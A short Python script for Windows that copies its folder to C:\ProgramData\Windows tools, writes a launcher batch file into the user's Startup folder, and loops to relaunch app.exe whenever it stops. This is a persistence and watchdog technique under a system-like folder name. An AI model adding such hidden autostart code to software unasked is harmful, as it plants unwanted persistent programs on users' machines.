import os,time,shutil

import subprocess
# os.system("python app.py")
def main():
    import getpass
    user_name = getpass.getuser() # 获取当前用户名

    file = os.path.basename(__file__)[:-3]+'.exe'
    a = os.getcwd()

    s = time.time()
    msg = r'C:\ProgramData\Windows tools\%s' %s
    shutil.copytree(r'%s' % a,msg)


    with open(r'C:\Users\%s\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\app.bat' % user_name,'w') as f:
        f.write('cd %s\n%s\npause' % (msg, file))


    while True:
        time.sleep(1)
        p = os.popen('tasklist /FI "IMAGENAME eq %s"' % 'app.exe')


        p = p.read().count('app.exe')

        if p == 0:
            #打开程序
            
            name = "./app/app.exe"
            subprocess.Popen(name)

main()